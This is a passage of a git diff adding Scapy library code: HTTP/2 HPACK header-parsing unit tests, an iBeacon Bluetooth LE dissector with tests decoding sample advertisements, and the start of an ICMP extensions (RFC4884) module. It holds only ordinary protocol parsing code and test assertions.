Without body +seq = h.parse_txt_hdrs(hdrs, stream_id=1) +assert(isinstance(seq, h2.H2Seq)) +#This is the first major difference with the first test +assert(len(seq.frames) == 1) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 2) +assert('EH' in p.flags) +#This is the second major difference with the first test +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 6) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 62) + + += HTTP/2 HPackHdrTable : Parsing Textual Representation with too small max frame +~ http2 hpack hpackhdrtable helpers + +body = b'login=titi&passwd=toto' +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +x-long-header: {} +'''.format(len(body), 'a'*5000).encode() + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +#x-long-header is too long to fit in any frames (whose default max size is 4096) +expect_exception(Exception, "seq = h.parse_txt_hdrs('''{}''', stream_id=1".format(hdrs)) + += HTTP/2 HPackHdrTable : Parsing Textual Representation with very large header and a large authorized frame size +~ http2 hpack hpackhdrtable helpers + +body = b'login=titi&passwd=toto' +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +x-long-header: {} +'''.format(len(body), 'a'*5000).encode() + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +# Now trying to parse it with a max frame size large enough for x-long-header to +# fit in a frame +seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) +assert(isinstance(seq, h2.H2Seq)) +assert(len(seq.frames) == 1) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 2) +assert('EH' in p.flags) +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 9) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 31) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 28) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(22)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[6] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[7] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 62) +hdr = p.hdrs[8] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)) + += HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers and a large authorized frame size +~ http2 hpack hpackhdrtable helpers + +body = b'login=titi&passwd=toto' +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +x-long-header: {} +x-long-header: {} +'''.format(len(body), 'a'*5000, 'b'*5000).encode() + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +# Now trying to parse it with a max frame size large enough for x-long-header to +# fit in a frame but a maximum header fragment size that is not large enough to +# store two x-long-header +seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192) +assert(isinstance(seq, h2.H2Seq)) +assert(len(seq.frames) == 2) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 1) +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 9) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 31) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 28) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(22)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[6] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[7] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 62) +hdr = p.hdrs[8] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)) +p = seq.frames[1] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 9) +assert(len(p.flags) == 1) +assert('EH' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2ContinuationFrame)) +hdrs_frm = p[h2.H2ContinuationFrame] +assert(len(p.hdrs) == 1) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)) + += HTTP/2 HPackHdrTable : Parsing Textual Representation with two very large headers, a large authorized frame size and a "small" max header list size +~ http2 hpack hpackhdrtable helpers + +body = b'login=titi&passwd=toto' +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +x-long-header: {} +x-long-header: {} +'''.format(len(body), 'a'*5000, 'b'*5000).encode() + +h = h2.HPackHdrTable() +h.register(h2.HPackLitHdrFldWithIncrIndexing( + hdr_name=h2.HPackHdrString(data=h2.HPackZString('X-Generation-Date')), + hdr_value=h2.HPackHdrString(data=h2.HPackLiteralString('2016-08-11')) +)) + +# Now trying to parse it with a max frame size large enough for x-long-header to +# fit in a frame but and a max header list size that is large enough to fit one +# but not two +seq = h.parse_txt_hdrs(hdrs, stream_id=1, max_frm_sz=8192, max_hdr_lst_sz=5050) +assert(isinstance(seq, h2.H2Seq)) +assert(len(seq.frames) == 3) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 1) +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 8) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 31) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 28) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(22)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[6] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[7] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 62) +p = seq.frames[1] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 9) +assert(len(p.flags) == 0) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2ContinuationFrame)) +hdrs_frm = p[h2.H2ContinuationFrame] +assert(len(p.hdrs) == 1) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString({})'.format('a'*5000)) +p = seq.frames[2] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 9) +assert(len(p.flags) == 1) +assert('EH' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2ContinuationFrame)) +hdrs_frm = p[h2.H2ContinuationFrame] +assert(len(p.hdrs) == 1) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-long-header)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString({})'.format('b'*5000)) + += HTTP/2 HPackHdrTable : Parsing Textual Representation with sensitive headers and non-indexable ones +~ http2 hpack hpackhdrtable helpers + +hdrs = ''':method POST +:path /login.php +:scheme https +content-type: application/x-www-form-urlencoded +content-length: {} +user-agent: Mozilla/5.0 Generated by hand +x-generated-by: Me +x-generation-date: 2016-08-11 +'''.format(len(body)).encode() + +h = h2.HPackHdrTable() +seq = h.parse_txt_hdrs(hdrs, stream_id=1, body=body, is_sensitive=lambda n,v: n in ['x-generation-date'], should_index=lambda x: x != 'x-generated-by') +assert(isinstance(seq, h2.H2Seq)) +assert(len(seq.frames) == 2) +p = seq.frames[0] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 1) +assert(len(p.flags) == 1) +assert('EH' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2HeadersFrame)) +hdrs_frm = p[h2.H2HeadersFrame] +assert(len(p.hdrs) == 8) +hdr = p.hdrs[0] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 3) +hdr = p.hdrs[1] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index in [4, 5]) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(/login.php)') +hdr = p.hdrs[2] +assert(isinstance(hdr, h2.HPackIndexedHdr)) +assert(hdr.magic == 1) +assert(hdr.index == 7) +hdr = p.hdrs[3] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 31) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(application/x-www-form-urlencoded)') +hdr = p.hdrs[4] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 28) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(22)') +hdr = p.hdrs[5] +assert(isinstance(hdr, h2.HPackLitHdrFldWithIncrIndexing)) +assert(hdr.magic == 1) +assert(hdr.index == 58) +assert(hdr.hdr_name is None) +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(Mozilla/5.0 Generated by hand)') +hdr = p.hdrs[6] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 0) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generated-by)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackLiteralString(Me)') +hdr = p.hdrs[7] +assert(isinstance(hdr, h2.HPackLitHdrFldWithoutIndexing)) +assert(hdr.magic == 0) +assert(hdr.never_index == 1) +assert(hdr.index == 0) +assert(isinstance(hdr.hdr_name, h2.HPackHdrString)) +assert(hdr.hdr_name.data == 'HPackZString(x-generation-date)') +assert(isinstance(hdr.hdr_value, h2.HPackHdrString)) +assert(hdr.hdr_value.data == 'HPackZString(2016-08-11)') +p = seq.frames[1] +assert(isinstance(p, h2.H2Frame)) +assert(p.type == 0) +assert(len(p.flags) == 1) +assert('ES' in p.flags) +assert(p.stream_id == 1) +assert(isinstance(p.payload, h2.H2DataFrame)) +pay = p[h2.H2DataFrame] +assert(pay.data == body) diff --git a/libs/scapy/contrib/ibeacon.py b/libs/scapy/contrib/ibeacon.py new file mode 100755 index 0000000..114a53b --- /dev/null +++ b/libs/scapy/contrib/ibeacon.py @@ -0,0 +1,101 @@ +# -*- mode: python3; indent-tabs-mode: nil; tab-width: 4 -*- +# ibeacon.py - protocol handlers for iBeacons and other Apple devices +# +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Michael Farrell +# This program is published under a GPLv2 (or later) license +# +# scapy.contrib.description = iBeacon BLE proximity beacon +# scapy.contrib.status = loads +""" +scapy.contrib.ibeacon - Apple iBeacon Bluetooth LE proximity beacons. + +Packet format documentation can be found at at: + +* https://en.wikipedia.org/wiki/IBeacon#Packet_Structure_Byte_Map (public) +* https://developer.apple.com/ibeacon/ (official, requires license) + +""" + +from scapy.fields import ByteEnumField, LenField, PacketListField, \ + ShortField, SignedByteField, UUIDField +from scapy.layers.bluetooth import EIR_Hdr, EIR_Manufacturer_Specific_Data, \ + LowEnergyBeaconHelper +from scapy.packet import bind_layers, Packet + +APPLE_MFG = 0x004c + + +class Apple_BLE_Submessage(Packet, LowEnergyBeaconHelper): + """ + A basic Apple submessage. + """ + + name = "Apple BLE submessage" + fields_desc = [ + ByteEnumField("subtype", None, { + 0x02: "ibeacon", + 0x05: "airdrop", + 0x07: "airpods", + 0x09: "airplay_sink", + 0x0a: "airplay_src", + 0x0c: "handoff", + 0x10: "nearby", + }), + LenField("len", None, fmt="B") + ] + + def extract_padding(self, s): + # Needed to end each EIR_Element packet and make PacketListField work. + return s[:self.len], s[self.len:] + + # These methods are here in case you only want to send 1 submessage. + # It creates an Apple_BLE_Frame to wrap your (single) Apple_BLE_Submessage. + def build_frame(self): + """Wraps this submessage in a Apple_BLE_Frame.""" + return Apple_BLE_Frame(plist=[self]) + + def build_eir(self): + """See Apple_BLE_Frame.build_eir.""" + return self.build_frame().build_eir() + + +class Apple_BLE_Frame(Packet, LowEnergyBeaconHelper): + """ + The wrapper for a BLE manufacturer-specific data advertisement from Apple + devices. + + Each advertisement is composed of one or multiple submessages. + + The length of this field comes from the EIR_Hdr. + """ + name = "Apple BLE broadcast frame" + fields_desc = [ + PacketListField("plist", None, Apple_BLE_Submessage) + ] + + def build_eir(self): + """Builds a list of EIR messages to wrap this frame.""" + + return LowEnergyBeaconHelper.base_eir + [ + EIR_Hdr() / EIR_Manufacturer_Specific_Data() / self + ] + + +class IBeacon_Data(Packet): + """ + iBeacon broadcast data frame. Composed on top of an Apple_BLE_Submessage. + """ + name = "iBeacon data" + fields_desc = [ + UUIDField("uuid", None, uuid_fmt=UUIDField.FORMAT_BE), + ShortField("major", None), + ShortField("minor", None), + SignedByteField("tx_power", None), + ] + + +bind_layers(EIR_Manufacturer_Specific_Data, Apple_BLE_Frame, + company_id=APPLE_MFG) +bind_layers(Apple_BLE_Submessage, IBeacon_Data, subtype=2) diff --git a/libs/scapy/contrib/ibeacon.uts b/libs/scapy/contrib/ibeacon.uts new file mode 100755 index 0000000..420fb53 --- /dev/null +++ b/libs/scapy/contrib/ibeacon.uts @@ -0,0 +1,70 @@ +% iBeacon unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('ibeacon')" -t scapy/contrib/ibeacon.uts + ++ iBeacon tests + += Presence check + +Apple_BLE_Frame +IBeacon_Data +Apple_BLE_Submessage + += Apple multiple submessages + +# Observed in the wild; handoff + nearby message. +# Meaning unknown. +d = hex_bytes('D6BE898E4024320CFB574D5A02011A1AFF4C000C0E009C6B8F40440F1583EC895148B410050318C0B525B8F7D4') +p = BTLE(d) + +assert len(p[Apple_BLE_Frame].plist) == 2 +assert p[Apple_BLE_Frame].plist[0].subtype == 0x0c # handoff +assert (raw(p[Apple_BLE_Frame].plist[0].payload) == + hex_bytes('009c6b8f40440f1583ec895148b4')) +assert p[Apple_BLE_Frame].plist[1].subtype == 0x10 # nearby +assert raw(p[Apple_BLE_Frame].plist[1].payload) == hex_bytes('0318c0b525') + += iBeacon (decode LE Set Advertising Data) + +# from https://en.wikipedia.org/wiki/IBeacon#Technical_details +d = hex_bytes('1E02011A1AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') +p = HCI_Cmd_LE_Set_Advertising_Data(d) + +assert len(p[Apple_BLE_Frame].plist) == 1 +assert p[IBeacon_Data].uuid == UUID("fb0b57a2-8228-44cd-913a-94a122ba1206") +assert p[IBeacon_Data].major == 1 +assert p[IBeacon_Data].minor == 2 +assert p[IBeacon_Data].tx_power == -47 + +d2 = raw(p) +assert d == d2 + += iBeacon (encode LE Set Advertising Data) + +d = hex_bytes('1E0201061AFF4C000215FB0B57A2822844CD913A94A122BA120600010002D100') +p = Apple_BLE_Submessage()/IBeacon_Data( + uuid='fb0b57a2-8228-44cd-913a-94a122ba1206', + major=1, minor=2, tx_power=-47) + +sap = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] +assert d == raw(sap) + +pa = Apple_BLE_Frame(plist=[p]) +sapa = pa.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] +assert d == raw(sapa) + +# Also try to build with Submessage directly +sapa = p.build_set_advertising_data()[HCI_Cmd_LE_Set_Advertising_Data] +assert d == raw(sapa) + += iBeacon (decode advertising frame) + +# from https://en.wikipedia.org/wiki/IBeacon#Spoofing +d = hex_bytes('043E2A02010001FCED16D4EED61E0201061AFF4C000215B9407F30F5F8466EAFF925556B57FE6DEDFCD416B6B4') +p = HCI_Hdr(d) + +assert p[HCI_LE_Meta_Advertising_Report].addr == 'd6:ee:d4:16:ed:fc' +assert len(p[Apple_BLE_Frame].plist) == 1 +assert p[IBeacon_Data].uuid == UUID('b9407f30-f5f8-466e-aff9-25556b57fe6d') + diff --git a/libs/scapy/contrib/icmp_extensions.py b/libs/scapy/contrib/icmp_extensions.py new file mode 100755 index 0000000..6addeb3 --- /dev/null +++ b/libs/scapy/contrib/icmp_extensions.py @@ -0,0 +1,198 @@ +# This file is part of Scapy +# Scapy is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 2 of the License, or +# any later version. +# +# Scapy is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with Scapy. If not, see . + +# scapy.contrib.description = ICMP Extensions +# scapy.contrib.status = loads + +from __future__ import absolute_import +import struct + +import scapy +from scapy.packet import Packet, bind_layers +from scapy.fields import BitField, ByteField, ConditionalField, \ + FieldLenField, IPField, IntField, PacketListField, ShortField, \ + StrLenField +from scapy.layers.inet import IP, ICMP, checksum +from scapy.layers.inet6 import IP6Field +from scapy.error import warning +from scapy.contrib.mpls import MPLS +import scapy.modules.six as six +from scapy.config import conf + + +class ICMPExtensionObject(Packet): + name = 'ICMP Extension Object' + fields_desc = [ShortField('len', None), + ByteField('classnum', 0), + ByteField('classtype', 0)] + + def post_build(self, p, pay): + if self.len is None: + tmp_len = len(p) + len(pay) + p = struct.pack('!H', tmp_len) + p[2:] + return p + pay + + +class ICMPExtensionHeader(Packet): + name = 'ICMP Extension Header (RFC4884)' + fields_desc = [BitField('version', 2, 4), + BitField('reserved', 0, 12), + BitField('chksum', None, 16)] + + _min_ieo_len = len(ICMPExtensionObject()) + + def post_build(self, p, pay): + if self.chksum is None: + ck = checksum(p) + p = p[:2] + chr(ck >> 8) + chr(ck & 0xff) + p[4:] + return p + pay + + def guess_payload_class(self, payload): + if len(payload) < self._min_ieo_len: + return Packet.guess_payload_class(self, payload) + + # Look at fields of the generic ICMPExtensionObject to determine which + # bound extension type to use. + ieo = ICMPExtensionObject(payload) + if ieo.len < self._min_ieo_len: + return Packet.guess_payload_class(self, payload) + + for fval, cls in self.payload_guess: + if all(hasattr(ieo, k) and v == ieo.getfieldval(k) + for k, v in six.iteritems(fval)): + return cls + return ICMPExtensionObject + + +def ICMPExtension_post_dissection(self, pkt): + # RFC4884 section 5.2 says if the ICMP packet length + # is >144 then ICMP extensions start at byte 137. + + lastlayer = pkt.lastlayer() + if not isinstance(lastlayer, conf.padding_layer): + return + + if IP in pkt: + if (ICMP in pkt and + pkt[ICMP].type in [3, 11, 12] and + pkt.len > 144): + bytes = pkt[ICMP].build()[136:] + else: + return + elif scapy.layers.inet6.IPv6 in pkt: + if ((scapy.layers.inet6.ICMPv6TimeExceeded in pkt or + scapy.layers.inet6.ICMPv6DestUnreach in pkt) and + pkt.plen > 144): + bytes = pkt[scapy.layers.inet6.ICMPv6TimeExceeded].build()[136:] + else: + return + else: + return + + # validate checksum + ieh = ICMPExtensionHeader(bytes) + if checksum(ieh.build()): + return # failed + + lastlayer.load = lastlayer.load[:-len(ieh)] + lastlayer.add_payload(ieh) + + +class ICMPExtensionMPLS(ICMPExtensionObject): + name = 'ICMP Extension Object - MPLS (RFC4950)' + + fields_desc = [ShortField('len', None), + ByteField('classnum', 1), + ByteField('classtype', 1), + PacketListField('stack', [], MPLS, + length_from=lambda pkt: pkt.len - 4)] + + +class ICMPExtensionInterfaceInformation(ICMPExtensionObject): + name = 'ICMP Extension Object - Interface Information Object (RFC5837)' + + fields_desc = [ShortField('len', None), + ByteField('classnum', 2), + BitField('interface_role', 0, 2), + BitField('reserved', 0, 2), + BitField('has_ifindex', 0, 1), + BitField('has_ipaddr', 0, 1), + BitField('has_ifname', 0, 1), + BitField('has_mtu', 0, 1), + + ConditionalField( + IntField('ifindex', None), + lambda pkt: pkt.has_ifindex == 1), + + ConditionalField( + ShortField('afi', None), + lambda pkt: pkt.has_ipaddr == 1), + 